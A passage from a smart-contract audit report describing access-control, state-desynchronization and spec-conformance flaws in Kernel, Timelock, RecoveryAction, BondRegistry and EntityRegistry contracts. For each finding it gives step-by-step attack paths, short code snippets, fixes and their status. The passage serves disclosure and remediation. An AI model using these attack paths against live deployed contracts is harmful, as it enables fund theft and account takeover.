References: ERC-7579 (Execution Behavior: supportsExecutionMode "MUST return true if the account supports the mode and false otherwise"); CWE-684: Incorrect Provision of Specified Functionality

Description: ERC-7579 defines `supportsExecutionMode` as the discovery mechanism for which execution modes the account will service: it "MUST return true if the account supports the mode and false otherwise." Kernel reports a mode as supported that its execution entrypoints cannot run. `supportsExecutionMode` (`Kernel.sol:527-552`) returns true when the decoded `callType` is one of `CALLTYPE_BATCH`, `CALLTYPE_SINGLE`, `CALLTYPE_DELEGATECALL`, or `CALLTYPE_STATIC` (allow-list at L530-535). `CALLTYPE_STATIC` (`0xFE`) is therefore advertised as supported. The execution path does not implement it. Both `execute` (L349-351) and `executeFromExecutor` (L328-347) forward to `ExecLib.execute`, which branches only on `CALLTYPE_BATCH`, `CALLTYPE_SINGLE`, and `CALLTYPE_DELEGATECALL`; any other `callType` falls through to `revert("Unsupported")`. STATIC is serviced only by the fallback / ERC-2771 selector path, never by the generic execute entrypoints that `supportsExecutionMode` describes. The in-scope defect is the inclusion of `CALLTYPE_STATIC` in the `Kernel.sol` allow-list at L530-535.

Impact: A spec-conformance violation, not a fund-loss path. An ERC-7579-aware integrator that feature-detects via `supportsExecutionMode(STATIC) == true` and then submits a STATIC-mode operation through `execute` or `executeFromExecutor` receives a revert instead of the advertised behavior. No assets at risk, no cross-account effect; bounded to the reverting call. Severity Medium on the EIP-compliance basis; intrinsic impact Low.

Likelihood: Deterministic for the discovery call. The practical trigger is uncommon because STATIC is not a standard ERC-7579 execute `callType`, so well-behaved integrators rarely request it through the generic entrypoints. No privilege required.

Recommendation(s): Make discovery agree with execution. Remove `CALLTYPE_STATIC` from the `supportsExecutionMode` allow-list (`Kernel.sol:530-535`) so the account returns false for a mode the generic execute path cannot run. Alternatively, if STATIC is intended to be reachable through the fallback path, add a `CALLTYPE_STATIC` branch to the execution path so the generic entrypoints honor it, or document that STATIC is supported only via the fallback selector path and scope the discovery result accordingly.

Source: SpecSiege (double-check review)

Status: Fixed

Update from CTU team: Implemented fully. `CALLTYPE_STATIC` is no longer advertised.

Update from CODESPECT: Fixed in: 7b324e27

8.3.6 [Medium] Timelock self-uninstall desynchronizes Kernel module state and can strand hooked accounts

Severity: Medium

Section ID: 8.3.6

Found by: 0xhuntoor, godwinda

File(s): `Timelock.sol`, `Timelock.sol`, `Timelock.sol`, `Kernel.sol`, `Kernel.sol`, `TimelockEnforcerHook.sol`

Function(s): `Timelock.schedule()`, `Timelock.execute()`, `Timelock.onUninstall()`, `Timelock._afterCall()`, `Kernel.executeFromExecutor()`, `Kernel.uninstallModule()`, `Kernel.isModuleInstalled()`, `TimelockEnforcerHook.preCheck()`

Category: State Inconsistency; Business Logic / Protocol Design; DoS

References: CWE-664: Improper Control of a Resource Through its Lifetime

Description: A Kernel account protected by `TimelockEnforcerHook` can schedule and execute a Timelock operation whose target is the Timelock executor itself and whose payload is `Timelock.onUninstall(bytes)`. The hook checks only the outer call target and selector. It allows calls to the paired Timelock using `schedule`, `cancel`, `execute`, or `updateDelay`. It does not reject a scheduled operation where the Timelock is also the delayed target. During `Timelock.execute`, the Timelock calls `account.executeFromExecutor(...)`, and the account executes `Timelock.onUninstall(bytes)` as `msg.sender == account`. That clears the Timelock's per-account delay, queue, and operations. However, the call bypasses the proper `Kernel.uninstallModule` path, so Kernel executor registry state still records the Timelock as installed and the hook still routes UserOps through that now-uninitialized Timelock. The resulting state is incoherent:

- `Timelock.isInitialized(account) == false`;
- `Timelock.getDelay(account) == 0`;
- queued operations are deleted;
- `Kernel.isModuleInstalled(MODULE_TYPE_EXECUTOR, timelock, "") == true`;
- the Timelock hook still points at the now-uninitialized Timelock;

For a WeightedValidator-root account, the PoC also shows the guardian cannot directly repair the split and root UserOp repair through Timelock no longer schedules.

Attack path:

a. An account has an installed Timelock executor, `TimelockEnforcerHook`, and a bounded permission or session key granted `Kernel.execute.selector`;

b. The permission schedules a Timelock operation whose target is the Timelock executor itself and whose payload is `Timelock.onUninstall(bytes)`. The hook accepts it because it only inspects the outer call target and selector;

c. After the delay elapses, the permission calls `Timelock.execute` for the scheduled operation;

d. `Timelock.execute` calls `account.executeFromExecutor(...)`, and the account runs `Timelock.onUninstall(bytes)` directly, clearing the Timelock's per-account delay, queue, and operations;

e. Because the proper `Kernel.uninstallModule` path was bypassed, `Kernel.isModuleInstalled(MODULE_TYPE_EXECUTOR, timelock, "")` still returns true and the hook keeps routing UserOps through the now-uninitialized Timelock, leaving the account in an incoherent and stranded state;

Impact: A bounded permission or session key that is supposed to be restricted to delayed Timelock operations can strand account execution for Timelock-hooked accounts that do not have the ECDSA direct-owner repair path. This can lock native value, token balances, EntryPoint deposits, wallet ownership, or other account-controlled protocol authority held by the affected Kernel account. The attacker does not need a global trusted role, beacon owner role, `grantRoles` role, FactoryStaker owner authority, or TimelockController authority.

Likelihood: Medium. The path requires an account with an installed Timelock executor, `TimelockEnforcerHook`, and a bounded permission/session key granted `Kernel.execute.selector`. Kernel permission examples document selector-scoped permissions, and per-account scoped authorities are untrusted under the contest README. The strongest impact branch is WeightedValidator-root accounts, because the ECDSA direct-root repair path is not available.

Recommendation(s): Disallow direct Timelock self-uninstall and other Timelock self-target lifecycle payloads through `schedule` and `execute`. The safest fix is to make `Timelock.onUninstall` callable only through the account's proper `Kernel.uninstallModule` flow, or to reject scheduled operations where `target == address(this)` and `data` selects module lifecycle callbacks. Add a registry-coherence invariant test: after any successful Timelock operation, `Kernel.isModuleInstalled(MODULE_TYPE_EXECUTOR, timelock, "")` must agree with `Timelock.isInitialized(account)`.

Source: SpecSiege (double-check review)

Status: Fixed

Update from CTU team: Implemented fully. Timelock self-lifecycle scheduling is blocked.

Update from CODESPECT: Fixed in: b4557958

8.3.7 [Medium] uninstallModule does not enforce ERC-7579 revert semantics

Severity: Medium

Section ID: 8.3.7

Found by: heavyw8t

File(s): `Kernel.sol`

Function(s): `Kernel.uninstallModule()`, `ModuleLib.uninstallModule()`

Category: Documentation / Code Mismatch; Design Observation

References: ERC-7579 (Module config: `uninstallModule` "MUST revert if the module is not installed or the deInitialization on the module failed"), CWE-684: Incorrect Provision of Specified Functionality

Description: ERC-7579 states that `uninstallModule` "MUST revert if the module is not installed or the deInitialization on the module failed." `Kernel.uninstallModule` enforces neither condition. The per-type branches clear state unconditionally. VALIDATOR calls `_clearValidationData` (which reverts only to protect the root validator, not a never-installed one); EXECUTOR calls `_clearExecutorData`; HOOK/POLICY/SIGNER fall through with no installed check; FALLBACK early-returns silently when the stored target is zero. The terminal call and event at L497-498 then run regardless, so uninstalling a never-installed module succeeds and emits `ModuleUninstalled`. For the deInitialization-failed condition: L497 calls `ModuleLib.uninstallModule(module, deInitData)`, which invokes `module.onUninstall` through `ExcessivelySafeCall` and returns a bool success flag. `Kernel` discards that return value, so a reverting `onUninstall` is absorbed (only a `ModuleUninstallResult` event records false) and `uninstallModule` still returns success. The required reverts exist in no contract. The not-installed condition is never tested, in the in-scope `Kernel.sol` or anywhere else. The deInitialization-failed signal is produced by the out-of-scope `ModuleLib` (it returns the bool) but `ModuleLib` does not itself revert, and `Kernel` ignores the bool. Both reverts are addable entirely within the in-scope file: the not-installed guard reuses the same storage reads `isModuleInstalled` already performs for VALIDATOR/EXECUTOR/FALLBACK, and the deInitialization-failed guard is a check on the bool that `ModuleLib.uninstallModule` already returns and `Kernel` currently drops at L497. The ERC-7579 obligation binds the in-scope account contract and the fix belongs in the in-scope file.

Impact: A spec-conformance violation. `uninstallModule` reports success for a module that was never installed and/or whose `onUninstall` failed, emitting `ModuleUninstalled` in both cases. A consumer relying on ERC-7579 revert semantics to confirm a clean uninstall receives a false success. Gated by `onlyEntryPointOrSelfOrRoot`, no cross-account effect, no assets at risk. Severity Medium on the EIP-compliance basis; intrinsic impact Info.

Likelihood: Deterministic. A call on a never-installed module returns normally, and a module whose `onUninstall` reverts is uninstalled "successfully". No precondition beyond the standard caller gate.

Recommendation(s): Both reverts can be added in `Kernel.uninstallModule`:

a. Not installed: before clearing, require the module is installed. For VALIDATOR/EXECUTOR/FALLBACK this reuses the reads `isModuleInstalled` already performs; revert otherwise. (HOOK/POLICY/SIGNER have no standalone installed flag in `Kernel`, so a faithful check for those types depends on the pairing they were installed under.);

b. deInitialization failed: capture and check the bool that `ModuleLib.uninstallModule` already returns at L497 and revert when it is false, e.g;

```
if (!ModuleLib.uninstallModule(module, deInitData)) revert ModuleUninstallFailed(module);
```

Source: SpecSiege (double-check review)

Status: Acknowledged

Update from CTU team: Implemented fully. `uninstallModule` now reverts on missing/failed uninstall.

Update from CODESPECT: A fix was attempted in d19c7c80, but the revert semantics it introduced were later rolled back by `c019423` on CODESPECT's final recommendation and are not present in the final release 84612931, because enforcing full ERC-7579 revert-on-not-installed and revert-on-failed-deinitialization compliance introduces security problems in the Kernel module-lifecycle architecture.

8.4 Low

8.4.1 [Low] Validator Reinstallation Inherits Stale Selector Permissions

Severity: Low

Section ID: 8.4.1

Found by: sahuang, 4nescient, srujankumarreddy11, brandonshiyay, befree3x, orangesantra

File(s): `Kernel.sol`, `Kernel.sol`, `ValidationManager.sol`

Function(s): `Kernel.validateUserOp()`, `Kernel.installModule()`, `ValidationManager._clearValidationData()`

Category: Access Control, Business Logic / Protocol Design

References: CWE-266: Incorrect Privilege Assignment, CWE-863: Incorrect Authorization

Description: Non-root validators are authorized entirely through `allowedSelectors[vId]` during `validateUserOp`. Installing a validator can add a selector grant through `selectorData`, but uninstalling that validator does not revoke any of those grants: `_clearValidationData` only clears `validationConfig[vId].hook` and leaves `allowedSelectors` untouched.

```
function _clearValidationData(ValidationId vId) internal returns (IHook hook) {
    hook = state.validationConfig[vId].hook;
    state.validationConfig[vId].hook = IHook(address(0));
}
```

As a result, validator reuse is privilege-sticky. A validator ID is derived only from the validator contract address, so rotating or repurposing an installed validator necessarily reuses the same `vId`. If an account previously used that validator with a broad selector such as `execute`, `installModule`, or `changeRootValidator`, then later reinstalls the same validator for a different signer with only a narrow intended scope, the new signer inherits the historical admin selectors as well. This breaks the repository's bounded-authority model for per-account validators: a signer that should only control one selector can unexpectedly gain any legacy selector ever assigned to that validator address on the same account.

Impact: An account owner cannot safely repurpose or rotate a validator address to a narrower role. A new recoverer, guardian, or signer may unexpectedly gain stale access to privileged entrypoints such as `execute`, `installModule`, `uninstallModule`, or `changeRootValidator`, enabling fund theft or permanent account takeover. In the validated PoC, a validator reinstalled for recovery with only `RecoveryAction.doRecovery` still retained an old `Kernel.execute` grant and let the new signer drain ETH from the account.

Likelihood: Exploitation requires historical state on the same account: the owner must have granted a broad selector to a validator address and later reused that same address for a narrower role. Those account-local preconditions keep the issue at Medium. The contest model still treats the new validator owner as an untrusted scoped authority whose permissions should come from the current install, not from stale state carried over from an older role. Carrying forward old selectors breaks that boundary, but the narrow setup keeps the finding below High.

Recommendation(s): In `_clearValidationData`, delete or version the selector namespace for that `vId`.

Source: SpecSiege (double-check review)

Status: Fixed

Update from CTU team: Implemented fully. Selector permissions are now scoped by validator nonce.

Update from CODESPECT: Fixed in: 5e357171

8.4.2 [Low] Recovery action can reset Timelock executor state instead of only rotating the root validator

Severity: Low

Section ID: 8.4.2

Found by: 4nescient, crystallinebutterfly, brandonshiyay, 4gontuk, emanueldlvg, pauliax, okhayeeli, parth0x108

File(s): `RecoveryAction.sol`, `Kernel.sol`, `Timelock.sol`, `Timelock.sol`, `README.md`, `README.md`

Function(s): `RecoveryAction.doRecovery()`, `Kernel.fallback()`, `Timelock.onUninstall()`, `Timelock.onInstall()`

Category: Access Control, Business Logic / Protocol Design, DoS, Time / Block-Related

References: OWASP SC01:2025 Access Control, OWASP SC03:2025 Logic Errors, CWE-284

Description: `RecoveryAction.doRecovery()` is documented as the fallback action used by a recovery validator to rotate the existing root validator owner. The recovery docs state that `_validator` is the root validator address and that `doRecovery` can only change the owner of the existing root validator. The implementation does not enforce that boundary. It accepts any `_validator` address, casts it to `IValidator`, then calls `onUninstall()` and `onInstall()`:

```
function doRecovery(address _validator, bytes calldata _data) external {
    IValidator(_validator).onUninstall(hex"");
    IValidator(_validator).onInstall(_data);
}
```

Because the recovery action is installed as a delegatecall fallback module, those external calls are made by the Kernel account itself. Any installed module that exposes compatible `onUninstall(bytes)` and `onInstall(bytes)` functions can therefore be reset by a recovery-signed UserOp, even if it is not the root validator. The Timelock executor has compatible functions. `Timelock.onUninstall()` clears all queued operation ids and deletes the account delay, while `Timelock.onInstall()` accepts a fresh delay. A recovery signer can call:

```
RecoveryAction.doRecovery(address(timelock), abi.encodePacked(uint256(timelock.MIN_DELAY())))
```

This clears the account's pending Timelock queue and reinitializes the delay to `MIN_DELAY`, without using the scheduled Timelock path and without rotating the root validator.

Impact: A recovery authority can erase all pending Timelock operations and reset the account delay immediately. For an account configured with a 7-day Timelock, the recovery path can delete the existing queue and reinitialize the delay to 1 hour in one recovery UserOp. This breaks the documented recovery boundary and weakens the Timelock guarantees for accounts that install both modules. Pending operations that should remain waiting or ready can be cancelled outside the Timelock's normal `cancel` or scheduled module-uninstall flow.

Likelihood: Medium. The required preconditions are realistic for the supported account setup:

a. The account has the Timelock executor installed;

b. The account has a recovery validator and `RecoveryAction` fallback installed;

c. The recovery signer submits a valid recovery UserOp targeting the Timelock executor instead of the root validator;

No global trusted role, owner-granted `grantRoles` authority, or malicious deployment parameter is required. The actor is a per-account scoped recovery authority, which the contest README treats as untrusted and bounded by code.

Recommendation(s): Restrict `RecoveryAction.doRecovery()` to the current root validator. Do not trust the caller-provided `_validator` as an arbitrary target. One option is to derive the current root validator from the Kernel account during the delegatecall and require `_validator` to match it before calling `onUninstall()` / `onInstall()`. Alternatively, remove `_validator` from the user-controlled calldata entirely and have `RecoveryAction` recover only the current root validator internally. If Timelock-governed recovery is intended, route recovery changes through the Timelock schedule/execute flow or explicitly document recovery as an emergency bypass. Even then, `doRecovery()` should not be able to reset unrelated executor, fallback, hook, policy, or signer modules.

Source: SpecSiege (double-check review)

Status: Fixed

Update from CTU team: Implemented fully. Recovery now only rotates the current root validator.

Update from CODESPECT: Fixed in: d22d4679

8.4.3 [Low] `closeBond` can permanently brick an ISIN by redeeming the active version while a successor is pending

Severity: Low

Section ID: 8.4.3

Found by: nishithpat, srujankumarreddy11, 4gontuk, jes16jupyter, godwinda, devpelz, bobai23, pauliax, lordalive, aestheticbhai, marketerka

File(s): `BondRegistry.sol`

Function(s): `BondRegistry.closeBond()`, `BondRegistry.publishBond()`, `BondRegistry.issueBond()`, `BondRegistry.cancelBond()`

Category: Business Logic / Protocol Design

References: CWE-841: Improper Enforcement of Behavioral Workflow; CWE-840: Business Logic Errors; OWASP Smart Contract Top 10: SC03:2025 Logic Errors

Description: `closeBond(...)` lets the `CLOSE` role mark an `Issued` or `Suspended` bond version as `Redeemed` once the ERC-6909 token supply for that version reaches zero. This is a normal terminal operation for a bond version, but the function does not check whether the same ISIN already has a pending successor version in `Published` status. This creates a stale-pointer deadlock when a successor has been published but not yet issued. In that state, `_isinToActiveVersion[isin]` still points to the old active version, while `_isinToLatestVersion[isin]` points to the new published successor.

```
function closeBond(string calldata isin, uint8 version) external onlyRoles(CLOSE) {
    bytes12 isinBytes = isin._isinToBytes12();
    Bond storage bond = _bonds[isinBytes][version];

    require(bond.status != BondStatus.Unregistered, Errors.BondRegistry__NonExistentBond(isinBytes));
    require(_isCloseableBondStatus(bond.status), Errors.BondRegistry__InvalidBondStatus(isinBytes));
    require(IERC6909TokenSupply(bond.tokenAddress).totalSupply(bond.tokenId) == 0,
    ↪  Errors.BondRegistry__TotalSupplyNotZero());

    bond.status = BondStatus.Redeemed;
}
```

Attack path:

a. Version `N` is `Issued` and active;

b. `publishBond(...)` creates version `N + 1` in `Published` status;

c. The old version `N` remains the active version until the successor is first issued;

d. The supply of version `N` reaches zero;

e. `closeBond(isin, N)` marks the active version as `Redeemed`;

f. `issueBond(isin, N + 1, amount)` now reverts because successor cutover requires the previous active version to still be `Issued`;

```
uint8 currentActiveVersion = _isinToActiveVersion[isinBytes];
if (isFirstIssuance && version != currentActiveVersion) {
    Bond storage previousBond = _bonds[isinBytes][currentActiveVersion];
    require(previousBond.status == BondStatus.Issued, Errors.BondRegistry__InvalidBondStatus(isinBytes));

    previousBond.status = BondStatus.Replaced;
    _isinToActiveVersion[isinBytes] = version;
}
```

Canceling the pending successor does not recover the ISIN. `cancelBond(...)` rolls `_isinToLatestVersion` back, but because the cancelled successor was not the active version, `_isinToActiveVersion` continues to point at the old `Redeemed` version. After that, publishing another successor is also blocked because `publishBond(...)` requires the active version to be `Issued`.

Impact: An ISIN can become permanently unable to issue any future successor version. The published successor cannot be issued, canceling it does not restore an issuable active version, and a new successor cannot be published while the active version is `Redeemed`. This permanently breaks the on-chain lifecycle for that ISIN and can force the protocol or issuer to abandon the identifier and use a new ISIN instead.

Likelihood: Medium. The affected operations are normal lifecycle actions:

- publishing a successor version for an existing issued ISIN;
- redeeming the old active version after its token supply reaches zero;
- attempting to issue the already-published successor;

Recommendation(s): Prevent `closeBond(...)` from redeeming the active version while a pending successor exists. For example, if the version being closed is the current active version, require that there is no later `Published` version:

```
if (_isinToActiveVersion[isinBytes] == version) {
    uint8 latestVersion = _isinToLatestVersion[isinBytes];
    require(latestVersion == version, Errors.BondRegistry__SuccessorAlreadyPublished(isinBytes));
}
```

Alternatively, update the lifecycle logic so canceling the pending successor can recover from an active `Redeemed` predecessor. The safer fix is to block the invalid close before the ISIN enters the deadlocked state.

Source: SpecSiege (double-check review)

Status: Fixed

Update from CTU team: Implemented fully. `closeBond` blocks redeeming an active version with a pending successor.

Update from CODESPECT: Fixed in: 8f9e7c9e

8.4.4 [Low] cancelBond() + republish reuses the same tokenId, so stale ERC-6909 allowances can transfer newly issued replacement bonds

Severity: Low

Section ID: 8.4.4

Found by: srujankumarreddy11, 4gontuk, 4nescient

File(s): README.md README.md BondRegistry.sol BondRegistry.sol BondRegistry.sol BondRegistry.sol BondRegistry.sol BaseToken.sol DEUSSToken.sol DEUSSToken.sol

Function(s): BondRegistry.cancelBond(), BondRegistry.publishBond(), BondRegistry.issueBond(), BondRegistry._createBond(), BondRegistry._computeTokenId(), BaseToken.approve(), DEUSSToken.approve(), DEUSSToken.transferFrom()

Category: Access Control; Business Logic / Protocol Design; State Inconsistency

References: CWE-284: Improper Access Control; CWE-613: Insufficient Session Expiration; CWE-664: Improper Control of a Resource Through its Lifetime

Description: Analysis of the BondRegistry draft-cancellation lifecycle together with ERC-6909 token approvals shows that cancelling an unpublished bond draft does not invalidate allowances for that draft's tokenId. This becomes dangerous because the protocol explicitly allows a cancelled unpublished bond to be republished as version 1 again when latestVersion == 0, and the bond tokenId is computed only from:

```
(isin, version)
```

Specifically:

- cancelBond() rolls _isinToLatestVersion and _isinToActiveVersion back by one for the cancelled latest draft version;
- publishBond() recreates version 1 when latestVersion == 0;
- _createBond() assigns::;

  ```
  bond.tokenId = _computeTokenId(isin, version);
  ```

- _computeTokenId() is::;

  ```
  return uint256(keccak256(abi.encodePacked(isin, version)));
  ```

So if the only draft version 1 is cancelled and the same ISIN is republished, the newly published bond gets the **same** tokenId as the cancelled draft. At the token layer, ERC-6909 approvals are stored against:

```
(owner, spender, tokenId)
```

and are not cleared by cancelBond(). BaseToken.approve() writes allowance without requiring current positive supply or balance. Therefore an issuer wallet can create an allowance on a draft bond tokenId even while total supply is still zero. If that draft is then cancelled and republished with the same (isin, version), the same tokenId is reused and the stale allowance remains live. When the republished bond is later issued, the old spender can immediately use the stale allowance to transfer the newly minted replacement bond units. This resurrects approval authority from the cancelled draft lifecycle onto the newly issued republished lifecycle.

Root cause: cancelBond() only mutates registry version/status state. It does not invalidate or namespace token-level approvals. Because publishBond() can recreate version 1 for the same ISIN and _computeTokenId() depends only on (isin, version), the replacement bond reuses the same tokenId, causing stale ERC-6909 approvals to survive across logically distinct draft lifecycles.

Attack path:

a. A bond draft for ISIN X is published as version 1;
b. The draft is still unpublished in the sense that no supply has been minted yet;
c. The issuer wallet approves a spender for tokenId = hash(isin, 1);
d. cancelBond(X, 1) is called before issuance;
e. Registry state rolls back so the ISIN again has latestVersion == 0;
f. The same ISIN is republished;
g. Because latestVersion == 0, publishBond() recreates version 1;
h. _computeTokenId(isin, 1) returns the same tokenId as the cancelled draft;
i. The old allowance on (issuer, spender, tokenId) is still stored in the token contract;
j. The republished bond is issued to the issuer wallet;
k. The stale spender immediately calls transferFrom() and moves newly issued replacement bond units;

Impact: Approval authority from a cancelled unpublished draft can survive into a newly issued replacement bond if the same ISIN is republished as version `1`. This means a spender approved for the cancelled draft can transfer units from the republished bond without receiving any fresh approval for the replacement lifecycle. The PoC demonstrates actual transfer of newly issued replacement supply. This is not merely cosmetic state leakage. It is an authorization resurrection bug affecting real token transfers. The practical consequence is that a spender relationship which should have been limited to the cancelled draft can unexpectedly remain effective against newly minted supply of the republished bond.

Likelihood: Medium. Preconditions:

- A bond draft is published and cancelled before issuance;
- The issuer wallet created a non-zero ERC-6909 approval for that draft `tokenId`;
- The same ISIN is later republished, recreating version `1`;
- The republished bond is issued to the same issuer wallet;

These are realistic lifecycle steps because the repo explicitly models unpublished draft cancellation and republishing of the same ISIN/version lineage. The stale spender does not need any new approval once the replacement bond is issued.

Recommendation(s): Do not let a cancelled draft lifecycle reuse the same token authorization surface. Possible fixes:

a. Ensure cancelled unpublished bonds cannot republish to the same `(isin, version)` token identity. For example, keep `latestVersion` monotonic even across cancellation so republished bonds receive a fresh version and therefore a fresh `tokenId`;
b. Alternatively, if version reuse is intentionally supported, add explicit approval invalidation semantics when cancelling a draft. This could be done at the token layer by introducing lifecycle namespace into the token identity, or by preventing reuse of `tokenId` across logically distinct draft lifecycles;
c. Another option is to add an issuance nonce / lifecycle nonce into `_computeTokenId()` so that republished drafts do not inherit the same token identifier even if the visible version number is reused;
d. Add regression tests asserting:;
    - cancelling an unpublished draft does not allow prior allowances to affect a republished replacement bond;
    - republished bonds either receive a fresh `tokenId` or cannot inherit stale allowances from cancelled lifecycles;

The key invariant should be:

```
A spender approved for a cancelled unpublished draft must not retain transfer authority over newly issued supply of a
↪  republished replacement bond.
```

Source: SpecSiege (double-check review)

Status: Fixed

Update from CTU team: Implemented fully. Cancelled drafts no longer reuse the same version/ `tokenId`.

Update from CODESPECT: Fixed in: ea2012ed

8.4.5 [Low] Disabled or unlinked entity accounts can keep exercising scoped manager authority

Severity: Low

Section ID: 8.4.5

Found by: brandonshiyay, 4gontuk, srujankumarreddy11, jes16jupyter, aestheticbhai, josephdara

File(s): `EntityRegistry.sol`, `EntityRegistry.sol`, `WalletFactory.sol`

Function(s): `EntityRegistry.setEntityStatus()`, `EntityRegistry.removeAccount()`, `EntityRegistry._requireEntityAdminOrAuthority()`, `EntityRegistry._requireEntityAdminOrManager()`, `WalletFactory.createWallet()`

Category: Access Control; Business Logic / Protocol Design

References: CWE-284: Improper Access Control; CWE-672: Operation on a Resource after Expiration or Release

Description: Entity disabling and account removal do not revoke `_entityAuthorities` or `_entityManagers`. Scoped authority checks accept raw manager or authority mappings for the target entity and do not require the caller to still be an enabled registered account. As a result, a disabled or unlinked account can continue controlling another enabled entity where it still has manager or authority status.

Impact: A disabled or unlinked account can continue controlling another enabled entity where it still has manager or authority status. It can rotate authority, install managers, deploy wallets, and register new enabled accounts under that entity, weakening offboarding controls.

Likelihood: Medium. The issue requires cross-entity manager or authority assignments and later disabling or removal of the caller account. These are realistic lifecycle events in KYB-managed systems.

Recommendation(s): Require registered scoped managers or authorities to be enabled before exercising authority, and add offboarding logic for reverse manager/authority links.

```
+ if (_accounts[sender].status != AccountStatus.NONE) {
+     require(_isAccountEnabled(sender), Errors.ER__AccountNotEnabled(sender));
+ }
  require(_entityManagers[entityId][sender], Errors.ER__NotEntityManagerOrAdmin(sender, entityId));
```

Apply the same caller-enabled check in WalletFactory before accepting `isEntityManager`.

Source: SpecSiege (double-check review)

Status: Fixed

Update from CTU team: Implemented fully. `EntityRegistry` scoped manager authority now follows account lifecycle, requiring enabled same-entity accounts and invalidating stale scoped assignments on removal, transfer, or disable.

Update from CODESPECT: Fixed in: 35829c2b

8.4.6 [Low] Missing check for a maximum expiry threshold

Severity: Low

Section ID: 8.4.6

Found by: heavyw8t

File(s): `MarketplaceBase.sol`

Function(s): the four expiry-threshold setters (setOfferExpiryThreshold, setMarketplacePaymentExpiryThreshold, setInterestDiscovery-PaymentExpiryThreshold, setRedemptionPaymentExpiryThreshold) and their internal _set* implementations

Category: Design Observation; DoS (secondary); Documentation / Code Mismatch

References: OWASP SC04:2025 (Lack of Input Validation), CWE-1284, CWE-20

Description: The four offer/payment expiry-threshold setters validate only a lower bound. Each _set* reverts when the value is below MIN_ *_THRESHOLD but accepts anything up to type(uint256).max. There is no MAX_OFFER_EXPIRY_THRESHOLD or MAX_PAYMENT_ EXPIRY_THRESHOLD constant in MarketplaceStorage.sol, so no ceiling exists to enforce. This diverges from the rest of the codebase. In the same file, _setDisputeBufferPeriod enforces both a MIN and a MAX. More directly, the sibling OrderbookMarketplace defines MAX_ PAYMENT_EXPIRY_THRESHOLD = 10 days and enforces it in its own payment-threshold setter. The two marketplace modules, therefore, handle the identical parameter differently: the orderbook caps it, the marketplace does not. That inconsistency indicates the missing bound is an omission rather than a deliberate choice. These thresholds feed time arithmetic: offerExpiryThreshold gates registerOffer (offerExpiry >= block.timestamp + offerExpiryThreshold), and the payment thresholds set paymentDeadline = block.timestamp + threshold at deal creation.

Impact: A very large `offerExpiryThreshold` makes the registration check unsatisfiable for any realistic expiry, blocking all new offers (listing DoS). A very large payment threshold pushes new deals' paymentDeadline effectively to never, which blocks unpaid resolution and unsuccessful-settlement, leaving committed units escrowed until the astronomical deadline. Severity Low.

Likelihood: Low. Requires the trusted ADMIN role, so there is no external attacker path. The most likely trigger is operational error

Recommendation(s): Mirror the orderbook module. Add MAX_OFFER_EXPIRY_THRESHOLD and MAX_PAYMENT_EXPIRY_ THRESHOLD to MarketplaceStorage.sol and add an upper-bound check to each of the four setters (the same 10 days ceiling keeps the modules consistent). If unbounded windows are intentional for this module, document the divergence from the orderbook so it is a recorded decision.

Source: SpecSiege (double-check review)

Status: Fixed

Update from CTU team: Implemented fully. Marketplace expiry threshold setters enforce maximum bounds.

Update from CODESPECT: Fixed in: ed4f9931

8.4.7 [Low] `transferAccountToEntity()` does not rescope source-entity authority, so a moved account can continue administering the source entity while already belonging to a different destination entity

Severity: Low

Section ID: 8.4.7

Found by: srujankumarreddy11

File(s): `EntityRegistry.sol`, `EntityRegistry.sol`, `EntityRegistry.sol`, `EntityRegistry.sol`, `EntityRegistry.sol`, `EntityRegistry.sol`, `EntityRegistry.sol`, `WalletFactory.sol`

Function(s): `EntityRegistry.setEntityAuthority()`, `EntityRegistry.setEntityManager()`, `EntityRegistry.registerAccount()`, `EntityRegistry.transferAccountToEntity()`, `EntityRegistry.isEntityManager()`, `EntityRegistry._requireEntityAdminOrAuthority()`, `EntityRegistry._requireEntityAdminOrManager()`, `WalletFactory.createWallet()`

Category: Access Control; Business Logic / Protocol Design; State Inconsistency

References: CWE-284: Improper Access Control; CWE-266: Incorrect Privilege Assignment; CWE-863: Incorrect Authorization; CWE-664: Improper Control of a Resource Through its Lifetime

Description: The entity migration path was analysed and `transferAccountToEntity()` changes an account's entity membership without clearing that account's source-entity administrative authority.

Root cause: `transferAccountToEntity()` updates the account's `entityId` linkage but does not revoke or recompute entity-admin authority tied to the source entity. The core issue is that entity-admin authorization is derived from entity-level mappings:

```
_entityAuthorities[entityId]
_entityManagers[entityId][account]
```

while `transferAccountToEntity()` only relinks the account's `entityId` membership. Specifically, `transferAccountToEntity()`:

a. removes the account from the old entity's account list;

b. updates `accountRecord.entityId = newEntityId`;

c. leaves the source entity's authority / manager mappings untouched;

As a result, an account that now belongs to destination entity **B** can continue exercising administrative power over source entity **A**. The relevant downstream authorization paths continue trusting those stale source-entity mappings:

- `setEntityAuthority()` and `setEntityManager()` authorize via `_requireEntityExistsAndAdminOrAuthority(...)`, which only checks `_entityAuthorities[entityId] == sender`;
- `registerAccount()` authorizes via `_requireEntityAdminOrManager(...)`, which only checks `_entityManagers[entityId][sender] == true`.

Neither path requires that the acting account still belongs to the same entity it is administering. This creates a cross-entity scope leak. Because entity-admin authorization is based on stale source-entity mappings rather than current account-to-entity membership, a transferred account continues to satisfy source-entity admin checks after migration. The authorization source of truth is therefore split between account membership state (`account.entityId`) and entity-level authority / manager mappings, and those two states diverge after transfer. This is not merely stale privilege after offboarding. It is a failure to re-scope authority during an active cross-entity migration, allowing one account to control two entities concurrently.

Attack path:

a. An account is configured as authority or manager of source entity **A**;

b. That account is later transferred to destination entity **B** via `transferAccountToEntity(...)`;

c. The account remains enabled and now officially belongs to **B**;

d. However, the source entity's `_entityAuthorities[entityA]` / `_entityManagers[entityA][account]` entries are not cleared;

e. The transferred account can still call source-entity admin paths such as:
   - `setEntityManager(entityA, ...)`
   - `setEntityAuthority(entityA, ...)`
   - `registerAccount(..., entityA, ...)`

f. The same account now belongs to **B** while continuing to administer **A**;

Impact: A transferred account can retain administrative power over its old entity while simultaneously belonging to a new entity. This breaks entity-scope isolation and can lead to:

- concurrent control of two entities by the same migrated account;
- source-entity manager/authority changes being performed by an account that no longer belongs to that entity;
- onboarding of fresh source-entity accounts by an account that is already linked to another destination entity;
- cross-entity authorization leakage through `isEntityManager(...)`;

- downstream inheritance of stale source-entity manager power by systems that trust `isEntityManager(...)`, including wallet creation.

In the PoC, `movedAuthority` and `movedManager` are successfully transferred into entity **B**, yet they continue to administer entity **A** afterward. This is a live scope-boundary failure, not just an offboarding artifact.

Likelihood: Medium. Preconditions:

- an account is configured as source-entity authority or manager;
- that account is transferred to a different destination entity using `transferAccountToEntity(...)`;
